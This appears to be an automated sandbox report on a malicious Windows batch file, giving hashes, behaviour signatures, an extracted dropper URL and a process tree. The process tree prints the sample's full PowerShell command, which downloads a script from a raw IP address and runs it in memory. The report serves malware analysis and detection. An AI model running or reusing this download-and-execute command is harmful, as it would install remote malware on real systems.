Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    16/07/2020, 05:10

General

  • Target
    594f735f38e39066e0ea5392e1a93dba.bat
  • Size 219B
  • Sample200716-mrmdxe7k22
  • SHA256 4df4f51379a5fdc56671e999a52ac96c8b4fd0194a2af6f602bc7fc20825ea1a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\594f735f38e39066e0ea5392e1a93dba.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba');Invoke-SWAGNDKFQZBV;Start-Sleep -s 10000"
      2⤵
        PID:4044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 704
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:3852

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/3852-1-0x0000000004D00000-0x0000000004D01000-memory.dmp

          memory/3852-8-0x0000000005430000-0x0000000005431000-memory.dmp